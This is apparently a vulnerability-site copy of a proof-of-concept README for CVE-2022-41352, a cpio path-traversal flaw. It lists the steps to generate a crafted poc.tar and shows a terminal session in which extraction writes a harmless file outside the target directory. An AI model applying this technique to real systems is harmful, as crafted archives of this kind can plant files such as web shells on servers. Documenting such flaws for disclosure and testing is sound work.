来源

关联漏洞

描述

cve-2022-41352 poc

介绍

# cve-2022-41352

# generate poc.tar
```
$ chmod +x cpio_pocgen.py
$ ./cpio_pocgen.py
```

# show the middle finger to cpio
```
$ cd /tmp
$ mkdir -p poc/a/b

copy poc.tar to /tmp/poc/a/b/

$ cd /tmp/poc/a/b/
$ cpio -i < poc.tar
$ ls -al ../
total 16
drwxrwxr-x 3 xabino xabino 4096 ott 10 14:56 .
drwxrwxr-x 3 xabino xabino 4096 ott 10 14:55 ..
drwxrwxr-x 2 xabino xabino 4096 ott 10 14:56 b
-rw-r--r-- 1 xabino xabino   35 ott 10 14:56 here.txt <-- resource outside of /tmp/poc/a/b/

$ cat ../here.txt
I should not be here - by segfault
```

文件快照

 [4.0K]  /data/pocs/704119233d9f91ebe14ebca58f173a9c14be06f3
├── [2.4K]  cpio_pocgen.py
├── [ 18K]  LICENSE
├── [2.5K]  poc.tar
└── [ 542]  README.md

0 directories, 4 files

备注